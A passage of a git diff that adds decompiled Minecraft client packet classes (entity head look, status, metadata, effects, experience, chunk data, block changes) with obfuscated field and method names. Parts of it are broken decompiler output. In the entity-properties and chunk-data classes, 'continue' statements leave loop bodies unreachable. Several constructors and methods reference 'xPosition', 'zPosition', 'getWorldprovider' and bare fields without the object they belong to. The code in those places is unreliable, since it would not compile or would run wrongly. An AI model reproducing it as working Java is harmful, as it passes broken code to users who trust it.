+  public byte getPitch()
+  {
+    return field_149453_f;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S19PacketEntityHeadLook.java b/src/minecraft/net/minecraft/network/play/server/S19PacketEntityHeadLook.java
new file mode 100644
index 0000000..faacd64
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S19PacketEntityHeadLook.java
@@ -0,0 +1,65 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.entity.Entity;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.world.World;
+
+public class S19PacketEntityHeadLook implements Packet
+{
+  private int field_149384_a;
+  private byte field_149383_b;
+  private static final String __OBFID = "CL_00001323";
+  
+  public S19PacketEntityHeadLook() {}
+  
+  public S19PacketEntityHeadLook(Entity p_i45214_1_, byte p_i45214_2_)
+  {
+    field_149384_a = p_i45214_1_.getEntityId();
+    field_149383_b = p_i45214_2_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149384_a = data.readVarIntFromBuffer();
+    field_149383_b = data.readByte();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(field_149384_a);
+    data.writeByte(field_149383_b);
+  }
+  
+  public void func_180745_a(INetHandlerPlayClient p_180745_1_)
+  {
+    p_180745_1_.handleEntityHeadLook(this);
+  }
+  
+  public Entity func_149381_a(World worldIn)
+  {
+    return worldIn.getEntityByID(field_149384_a);
+  }
+  
+  public byte func_149380_c()
+  {
+    return field_149383_b;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180745_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S19PacketEntityStatus.java b/src/minecraft/net/minecraft/network/play/server/S19PacketEntityStatus.java
new file mode 100644
index 0000000..3c457a4
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S19PacketEntityStatus.java
@@ -0,0 +1,65 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.entity.Entity;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.world.World;
+
+public class S19PacketEntityStatus implements Packet
+{
+  private int field_149164_a;
+  private byte field_149163_b;
+  private static final String __OBFID = "CL_00001299";
+  
+  public S19PacketEntityStatus() {}
+  
+  public S19PacketEntityStatus(Entity p_i46335_1_, byte p_i46335_2_)
+  {
+    field_149164_a = p_i46335_1_.getEntityId();
+    field_149163_b = p_i46335_2_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149164_a = data.readInt();
+    field_149163_b = data.readByte();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeInt(field_149164_a);
+    data.writeByte(field_149163_b);
+  }
+  
+  public void func_180736_a(INetHandlerPlayClient p_180736_1_)
+  {
+    p_180736_1_.handleEntityStatus(this);
+  }
+  
+  public Entity func_149161_a(World worldIn)
+  {
+    return worldIn.getEntityByID(field_149164_a);
+  }
+  
+  public byte func_149160_c()
+  {
+    return field_149163_b;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180736_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S1BPacketEntityAttach.java b/src/minecraft/net/minecraft/network/play/server/S1BPacketEntityAttach.java
new file mode 100644
index 0000000..8ec5769
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S1BPacketEntityAttach.java
@@ -0,0 +1,76 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.entity.Entity;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+
+public class S1BPacketEntityAttach implements Packet
+{
+  private int field_149408_a;
+  private int field_149406_b;
+  private int field_149407_c;
+  private static final String __OBFID = "CL_00001327";
+  
+  public S1BPacketEntityAttach() {}
+  
+  public S1BPacketEntityAttach(int p_i45218_1_, Entity p_i45218_2_, Entity p_i45218_3_)
+  {
+    field_149408_a = p_i45218_1_;
+    field_149406_b = p_i45218_2_.getEntityId();
+    field_149407_c = (p_i45218_3_ != null ? p_i45218_3_.getEntityId() : -1);
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149406_b = data.readInt();
+    field_149407_c = data.readInt();
+    field_149408_a = data.readUnsignedByte();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeInt(field_149406_b);
+    data.writeInt(field_149407_c);
+    data.writeByte(field_149408_a);
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.handleEntityAttach(this);
+  }
+  
+  public int func_149404_c()
+  {
+    return field_149408_a;
+  }
+  
+  public int func_149403_d()
+  {
+    return field_149406_b;
+  }
+  
+  public int func_149402_e()
+  {
+    return field_149407_c;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S1CPacketEntityMetadata.java b/src/minecraft/net/minecraft/network/play/server/S1CPacketEntityMetadata.java
new file mode 100644
index 0000000..d6b99b7
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S1CPacketEntityMetadata.java
@@ -0,0 +1,73 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import java.util.List;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+
+public class S1CPacketEntityMetadata implements Packet
+{
+  private int field_149379_a;
+  private List field_149378_b;
+  private static final String __OBFID = "CL_00001326";
+  
+  public S1CPacketEntityMetadata() {}
+  
+  public S1CPacketEntityMetadata(int p_i45217_1_, DataWatcher p_i45217_2_, boolean p_i45217_3_)
+  {
+    field_149379_a = p_i45217_1_;
+    
+    if (p_i45217_3_)
+    {
+      field_149378_b = p_i45217_2_.getAllWatched();
+    }
+    else
+    {
+      field_149378_b = p_i45217_2_.getChanged();
+    }
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149379_a = data.readVarIntFromBuffer();
+    field_149378_b = DataWatcher.readWatchedListFromPacketBuffer(data);
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(field_149379_a);
+    DataWatcher.writeWatchedListToPacketBuffer(field_149378_b, data);
+  }
+  
+  public void func_180748_a(INetHandlerPlayClient p_180748_1_)
+  {
+    p_180748_1_.handleEntityMetadata(this);
+  }
+  
+  public List func_149376_c()
+  {
+    return field_149378_b;
+  }
+  
+  public int func_149375_d()
+  {
+    return field_149379_a;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180748_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S1DPacketEntityEffect.java b/src/minecraft/net/minecraft/network/play/server/S1DPacketEntityEffect.java
new file mode 100644
index 0000000..2434275
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S1DPacketEntityEffect.java
@@ -0,0 +1,108 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.potion.PotionEffect;
+
+public class S1DPacketEntityEffect implements Packet
+{
+  private int field_149434_a;
+  private byte field_149432_b;
+  private byte field_149433_c;
+  private int field_149431_d;
+  private byte field_179708_e;
+  private static final String __OBFID = "CL_00001343";
+  
+  public S1DPacketEntityEffect() {}
+  
+  public S1DPacketEntityEffect(int p_i45237_1_, PotionEffect p_i45237_2_)
+  {
+    field_149434_a = p_i45237_1_;
+    field_149432_b = ((byte)(p_i45237_2_.getPotionID() & 0xFF));
+    field_149433_c = ((byte)(p_i45237_2_.getAmplifier() & 0xFF));
+    
+    if (p_i45237_2_.getDuration() > 32767)
+    {
+      field_149431_d = 32767;
+    }
+    else
+    {
+      field_149431_d = p_i45237_2_.getDuration();
+    }
+    
+    field_179708_e = ((byte)(p_i45237_2_.func_180154_f() ? 1 : 0));
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149434_a = data.readVarIntFromBuffer();
+    field_149432_b = data.readByte();
+    field_149433_c = data.readByte();
+    field_149431_d = data.readVarIntFromBuffer();
+    field_179708_e = data.readByte();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(field_149434_a);
+    data.writeByte(field_149432_b);
+    data.writeByte(field_149433_c);
+    data.writeVarIntToBuffer(field_149431_d);
+    data.writeByte(field_179708_e);
+  }
+  
+  public boolean func_149429_c()
+  {
+    return field_149431_d == 32767;
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.handleEntityEffect(this);
+  }
+  
+  public int func_149426_d()
+  {
+    return field_149434_a;
+  }
+  
+  public byte func_149427_e()
+  {
+    return field_149432_b;
+  }
+  
+  public byte func_149428_f()
+  {
+    return field_149433_c;
+  }
+  
+  public int func_180755_e()
+  {
+    return field_149431_d;
+  }
+  
+  public boolean func_179707_f()
+  {
+    return field_179708_e != 0;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S1EPacketRemoveEntityEffect.java b/src/minecraft/net/minecraft/network/play/server/S1EPacketRemoveEntityEffect.java
new file mode 100644
index 0000000..6c81b94
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S1EPacketRemoveEntityEffect.java
@@ -0,0 +1,67 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.potion.PotionEffect;
+
+public class S1EPacketRemoveEntityEffect implements Packet
+{
+  private int field_149079_a;
+  private int field_149078_b;
+  private static final String __OBFID = "CL_00001321";
+  
+  public S1EPacketRemoveEntityEffect() {}
+  
+  public S1EPacketRemoveEntityEffect(int p_i45212_1_, PotionEffect p_i45212_2_)
+  {
+    field_149079_a = p_i45212_1_;
+    field_149078_b = p_i45212_2_.getPotionID();
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149079_a = data.readVarIntFromBuffer();
+    field_149078_b = data.readUnsignedByte();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(field_149079_a);
+    data.writeByte(field_149078_b);
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.handleRemoveEntityEffect(this);
+  }
+  
+  public int func_149076_c()
+  {
+    return field_149079_a;
+  }
+  
+  public int func_149075_d()
+  {
+    return field_149078_b;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S1FPacketSetExperience.java b/src/minecraft/net/minecraft/network/play/server/S1FPacketSetExperience.java
new file mode 100644
index 0000000..ec26adc
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S1FPacketSetExperience.java
@@ -0,0 +1,72 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+
+public class S1FPacketSetExperience implements Packet
+{
+  private float field_149401_a;
+  private int field_149399_b;
+  private int field_149400_c;
+  private static final String __OBFID = "CL_00001331";
+  
+  public S1FPacketSetExperience() {}
+  
+  public S1FPacketSetExperience(float p_i45222_1_, int p_i45222_2_, int p_i45222_3_)
+  {
+    field_149401_a = p_i45222_1_;
+    field_149399_b = p_i45222_2_;
+    field_149400_c = p_i45222_3_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149401_a = data.readFloat();
+    field_149400_c = data.readVarIntFromBuffer();
+    field_149399_b = data.readVarIntFromBuffer();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeFloat(field_149401_a);
+    data.writeVarIntToBuffer(field_149400_c);
+    data.writeVarIntToBuffer(field_149399_b);
+  }
+  
+  public void func_180749_a(INetHandlerPlayClient p_180749_1_)
+  {
+    p_180749_1_.handleSetExperience(this);
+  }
+  
+  public float func_149397_c()
+  {
+    return field_149401_a;
+  }
+  
+  public int func_149396_d()
+  {
+    return field_149399_b;
+  }
+  
+  public int func_149395_e()
+  {
+    return field_149400_c;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180749_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S20PacketEntityProperties.java b/src/minecraft/net/minecraft/network/play/server/S20PacketEntityProperties.java
new file mode 100644
index 0000000..fe02089
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S20PacketEntityProperties.java
@@ -0,0 +1,149 @@
+package net.minecraft.network.play.server;
+
+import com.google.common.collect.Lists;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.List;
+import net.minecraft.entity.ai.attributes.AttributeModifier;
+import net.minecraft.entity.ai.attributes.IAttribute;
+import net.minecraft.entity.ai.attributes.IAttributeInstance;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+
+public class S20PacketEntityProperties implements Packet
+{
+  private int field_149445_a;
+  private final List field_149444_b = Lists.newArrayList();
+  private static final String __OBFID = "CL_00001341";
+  
+  public S20PacketEntityProperties() {}
+  
+  public S20PacketEntityProperties(int p_i45236_1_, Collection p_i45236_2_)
+  {
+    field_149445_a = p_i45236_1_;
+    Iterator var3 = p_i45236_2_.iterator();
+    
+    while (var3.hasNext())
+    {
+      IAttributeInstance var4 = (IAttributeInstance)var3.next();
+      field_149444_b.add(new Snapshot(var4.getAttribute().getAttributeUnlocalizedName(), var4.getBaseValue(), var4.func_111122_c()));
+    }
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149445_a = data.readVarIntFromBuffer();
+    int var2 = data.readInt();
+    
+    for (int var3 = 0; var3 < var2; var3++)
+    {
+      String var4 = data.readStringFromBuffer(64);
+      double var5 = data.readDouble();
+      ArrayList var7 = Lists.newArrayList();
+      int var8 = data.readVarIntFromBuffer();
+      
+      for (int var9 = 0; var9 < var8; var9++)
+      {
+        java.util.UUID var10 = data.readUuid();
+        var7.add(new AttributeModifier(var10, "Unknown synced attribute modifier", data.readDouble(), data.readByte()));
+      }
+      
+      field_149444_b.add(new Snapshot(var4, var5, var7));
+    }
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(field_149445_a);
+    data.writeInt(field_149444_b.size());
+    Iterator var2 = field_149444_b.iterator();
+    Iterator var4;
+    for (; var2.hasNext(); 
+        
+
+
+
+
+
+
+        var4.hasNext())
+    {
+      Snapshot var3 = (Snapshot)var2.next();
+      data.writeString(var3.func_151409_a());
+      data.writeDouble(var3.func_151410_b());
+      data.writeVarIntToBuffer(var3.func_151408_c().size());
+      var4 = var3.func_151408_c().iterator();
+      
+      continue;
+      
+      AttributeModifier var5 = (AttributeModifier)var4.next();
+      data.writeUuid(var5.getID());
+      data.writeDouble(var5.getAmount());
+      data.writeByte(var5.getOperation());
+    }
+  }
+  
+
+  public void func_180754_a(INetHandlerPlayClient p_180754_1_)
+  {
+    p_180754_1_.handleEntityProperties(this);
+  }
+  
+  public int func_149442_c()
+  {
+    return field_149445_a;
+  }
+  
+  public List func_149441_d()
+  {
+    return field_149444_b;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180754_a((INetHandlerPlayClient)handler);
+  }
+  
+  public class Snapshot
+  {
+    private final String field_151412_b;
+    private final double field_151413_c;
+    private final Collection field_151411_d;
+    private static final String __OBFID = "CL_00001342";
+    
+    public Snapshot(String p_i45235_2_, double p_i45235_3_, Collection p_i45235_5_)
+    {
+      field_151412_b = p_i45235_2_;
+      field_151413_c = p_i45235_3_;
+      field_151411_d = p_i45235_5_;
+    }
+    
+    public String func_151409_a()
+    {
+      return field_151412_b;
+    }
+    
+    public double func_151410_b()
+    {
+      return field_151413_c;
+    }
+    
+    public Collection func_151408_c()
+    {
+      return field_151411_d;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S21PacketChunkData.java b/src/minecraft/net/minecraft/network/play/server/S21PacketChunkData.java
new file mode 100644
index 0000000..fbb5f3c
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S21PacketChunkData.java
@@ -0,0 +1,191 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.Iterator;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.world.World;
+import net.minecraft.world.chunk.Chunk;
+import net.minecraft.world.chunk.NibbleArray;
+import net.minecraft.world.chunk.storage.ExtendedBlockStorage;
+
+public class S21PacketChunkData implements net.minecraft.network.Packet
+{
+  private int field_149284_a;
+  private int field_149282_b;
+  private Extracted field_179758_c;
+  private boolean field_149279_g;
+  private static final String __OBFID = "CL_00001304";
+  
+  public S21PacketChunkData() {}
+  
+  public S21PacketChunkData(Chunk p_i45196_1_, boolean p_i45196_2_, int p_i45196_3_)
+  {
+    field_149284_a = xPosition;
+    field_149282_b = zPosition;
+    field_149279_g = p_i45196_2_;
+    field_179758_c = func_179756_a(p_i45196_1_, p_i45196_2_, !getWorldprovider.getHasNoSky(), p_i45196_3_);
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149284_a = data.readInt();
+    field_149282_b = data.readInt();
+    field_149279_g = data.readBoolean();
+    field_179758_c = new Extracted();
+    field_179758_c.field_150280_b = data.readShort();
+    field_179758_c.field_150282_a = data.readByteArray();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeInt(field_149284_a);
+    data.writeInt(field_149282_b);
+    data.writeBoolean(field_149279_g);
+    data.writeShort((short)(field_179758_c.field_150280_b & 0xFFFF));
+    data.writeByteArray(field_179758_c.field_150282_a);
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.handleChunkData(this);
+  }
+  
+  public byte[] func_149272_d()
+  {
+    return field_179758_c.field_150282_a;
+  }
+  
+  protected static int func_180737_a(int p_180737_0_, boolean p_180737_1_, boolean p_180737_2_)
+  {
+    int var3 = p_180737_0_ * 2 * 16 * 16 * 16;
+    int var4 = p_180737_0_ * 16 * 16 * 16 / 2;
+    int var5 = p_180737_1_ ? p_180737_0_ * 16 * 16 * 16 / 2 : 0;
+    int var6 = p_180737_2_ ? 256 : 0;
+    return var3 + var4 + var5 + var6;
+  }
+  
+  public static Extracted func_179756_a(Chunk p_179756_0_, boolean p_179756_1_, boolean p_179756_2_, int p_179756_3_)
+  {
+    ExtendedBlockStorage[] var4 = p_179756_0_.getBlockStorageArray();
+    Extracted var5 = new Extracted();
+    ArrayList var6 = com.google.common.collect.Lists.newArrayList();
+    
+
+    for (int var7 = 0; var7 < var4.length; var7++)
+    {
+      ExtendedBlockStorage var8 = var4[var7];
+      
+      if ((var8 != null) && ((!p_179756_1_) || (!var8.isEmpty())) && ((p_179756_3_ & 1 << var7) != 0))
+      {
+        field_150280_b |= 1 << var7;
+        var6.add(var8);
+      }
+    }
+    
+    field_150282_a = new byte[func_180737_a(Integer.bitCount(field_150280_b), p_179756_2_, p_179756_1_)];
+    var7 = 0;
+    Iterator var15 = var6.iterator();
+    int var12;
+    int var13;
+    for (; var15.hasNext(); 
+        
+
+
+
+
+
+        var13 < var12)
+    {
+      ExtendedBlockStorage var9 = (ExtendedBlockStorage)var15.next();
+      char[] var10 = var9.getData();
+      char[] var11 = var10;
+      var12 = var10.length;
+      
+      var13 = 0; continue;
+      
+      char var14 = var11[var13];
+      field_150282_a[(var7++)] = ((byte)(var14 & 0xFF));
+      field_150282_a[(var7++)] = ((byte)(var14 >> '\b' & 0xFF));var13++;
+    }
+    
+
+
+    ExtendedBlockStorage var9;
+    
+
+    for (var15 = var6.iterator(); var15.hasNext(); var7 = func_179757_a(var9.getBlocklightArray().getData(), field_150282_a, var7))
+    {
+      var9 = (ExtendedBlockStorage)var15.next();
+    }
+    
+    if (p_179756_2_) {
+      ExtendedBlockStorage var9;
+      for (var15 = var6.iterator(); var15.hasNext(); var7 = func_179757_a(var9.getSkylightArray().getData(), field_150282_a, var7))
+      {
+        var9 = (ExtendedBlockStorage)var15.next();
+      }
+    }
+    
+    if (p_179756_1_)
+    {
+      func_179757_a(p_179756_0_.getBiomeArray(), field_150282_a, var7);
+    }
+    
+    return var5;
+  }
+  
+  private static int func_179757_a(byte[] p_179757_0_, byte[] p_179757_1_, int p_179757_2_)
+  {
+    System.arraycopy(p_179757_0_, 0, p_179757_1_, p_179757_2_, p_179757_0_.length);
+    return p_179757_2_ + p_179757_0_.length;
+  }
+  
+  public int func_149273_e()
+  {
+    return field_149284_a;
+  }
+  
+  public int func_149271_f()
+  {
+    return field_149282_b;
+  }
+  
+  public int func_149276_g()
+  {
+    return field_179758_c.field_150280_b;
+  }
+  
+  public boolean func_149274_i()
+  {
+    return field_149279_g;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
+  }
+  
+  public static class Extracted
+  {
+    public byte[] field_150282_a;
+    public int field_150280_b;
+    private static final String __OBFID = "CL_00001305";
+    
+    public Extracted() {}
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S22PacketMultiBlockChange.java b/src/minecraft/net/minecraft/network/play/server/S22PacketMultiBlockChange.java
new file mode 100644
index 0000000..ba59788
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S22PacketMultiBlockChange.java
@@ -0,0 +1,117 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ObjectIntIdentityMap;
+import net.minecraft.world.ChunkCoordIntPair;
+import net.minecraft.world.chunk.Chunk;
+
+public class S22PacketMultiBlockChange implements net.minecraft.network.Packet
+{
+  private ChunkCoordIntPair field_148925_b;
+  private BlockUpdateData[] field_179845_b;
+  private static final String __OBFID = "CL_00001290";
+  
+  public S22PacketMultiBlockChange() {}
+  
+  public S22PacketMultiBlockChange(int p_i45181_1_, short[] p_i45181_2_, Chunk p_i45181_3_)
+  {
+    field_148925_b = new ChunkCoordIntPair(xPosition, zPosition);
+    field_179845_b = new BlockUpdateData[p_i45181_1_];
+    
+    for (int var4 = 0; var4 < field_179845_b.length; var4++)
+    {
+      field_179845_b[var4] = new BlockUpdateData(p_i45181_2_[var4], p_i45181_3_);
+    }
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_148925_b = new ChunkCoordIntPair(data.readInt(), data.readInt());
+    field_179845_b = new BlockUpdateData[data.readVarIntFromBuffer()];
+    
+    for (int var2 = 0; var2 < field_179845_b.length; var2++)
+    {
+      field_179845_b[var2] = new BlockUpdateData(data.readShort(), (IBlockState)Block.BLOCK_STATE_IDS.getByValue(data.readVarIntFromBuffer()));
+    }
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeInt(field_148925_b.chunkXPos);
+    data.writeInt(field_148925_b.chunkZPos);
+    data.writeVarIntToBuffer(field_179845_b.length);
+    BlockUpdateData[] var2 = field_179845_b;
+    int var3 = var2.length;
+    
+    for (int var4 = 0; var4 < var3; var4++)
+    {
+      BlockUpdateData var5 = var2[var4];
+      data.writeShort(var5.func_180089_b());
+      data.writeVarIntToBuffer(Block.BLOCK_STATE_IDS.get(var5.func_180088_c()));
+    }
+  }
+  
+  public void func_180729_a(INetHandlerPlayClient p_180729_1_)
+  {
+    p_180729_1_.handleMultiBlockChange(this);
+  }
+  
+  public BlockUpdateData[] func_179844_a()
+  {
+    return field_179845_b;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180729_a((INetHandlerPlayClient)handler);
+  }
+  
+  public class BlockUpdateData
+  {
+    private final short field_180091_b;
+    private final IBlockState field_180092_c;
+    private static final String __OBFID = "CL_00002302";
+    
+    public BlockUpdateData(short p_i45984_2_, IBlockState p_i45984_3_)
+    {
+      field_180091_b = p_i45984_2_;
+      field_180092_c = p_i45984_3_;
+    }
+    
+    public BlockUpdateData(short p_i45985_2_, Chunk p_i45985_3_)
+    {
+      field_180091_b = p_i45985_2_;
+      field_180092_c = p_i45985_3_.getBlockState(func_180090_a());
+    }
+    
+    public BlockPos func_180090_a()
+    {
+      return new BlockPos(field_148925_b.getBlock(field_180091_b >> 12 & 0xF, field_180091_b & 0xFF, field_180091_b >> 8 & 0xF));
+    }
+    
+    public short func_180089_b()
+    {
+      return field_180091_b;
+    }
+    
+    public IBlockState func_180088_c()
+    {
+      return field_180092_c;
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S23PacketBlockChange.java b/src/minecraft/net/minecraft/network/play/server/S23PacketBlockChange.java
new file mode 100644
index 0000000..9e1de46
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S23PacketBlockChange.java
@@ -0,0 +1,67 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.block.Block;
+import net.minecraft.block.state.IBlockState;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.ObjectIntIdentityMap;
+import net.minecraft.world.World;
+
+public class S23PacketBlockChange implements net.minecraft.network.Packet
+{
+  private BlockPos field_179828_a;
+  private IBlockState field_148883_d;
+  private static final String __OBFID = "CL_00001287";
+  
+  public S23PacketBlockChange() {}
+  
+  public S23PacketBlockChange(World worldIn, BlockPos p_i45988_2_)
+  {
+    field_179828_a = p_i45988_2_;
+    field_148883_d = worldIn.getBlockState(p_i45988_2_);
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_179828_a = data.readBlockPos();
+    field_148883_d = ((IBlockState)Block.BLOCK_STATE_IDS.getByValue(data.readVarIntFromBuffer()));
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeBlockPos(field_179828_a);
+    data.writeVarIntToBuffer(Block.BLOCK_STATE_IDS.get(field_148883_d));
+  }
+  
+  public void func_180727_a(INetHandlerPlayClient p_180727_1_)
+  {
+    p_180727_1_.handleBlockChange(this);
+  }
+  
+  public IBlockState func_180728_a()
+  {
+    return field_148883_d;
+  }
+  
+  public BlockPos func_179827_b()
+  {
+    return field_179828_a;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180727_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S24PacketBlockAction.java b/src/minecraft/net/minecraft/network/play/server/S24PacketBlockAction.java
new file mode 100644
index 0000000..b20bed1
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S24PacketBlockAction.java
@@ -0,0 +1,89 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.block.Block;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.util.BlockPos;
+
+public class S24PacketBlockAction implements Packet
+{
+  private BlockPos field_179826_a;
+  private int field_148872_d;
+  private int field_148873_e;
+  private Block field_148871_f;
+  private static final String __OBFID = "CL_00001286";
+  
+  public S24PacketBlockAction() {}
+  
+  public S24PacketBlockAction(BlockPos p_i45989_1_, Block p_i45989_2_, int p_i45989_3_, int p_i45989_4_)
+  {
+    field_179826_a = p_i45989_1_;
+    field_148872_d = p_i45989_3_;
+    field_148873_e = p_i45989_4_;
+    field_148871_f = p_i45989_2_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_179826_a = data.readBlockPos();
+    field_148872_d = data.readUnsignedByte();
+    field_148873_e = data.readUnsignedByte();
+    field_148871_f = Block.getBlockById(data.readVarIntFromBuffer() & 0xFFF);
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
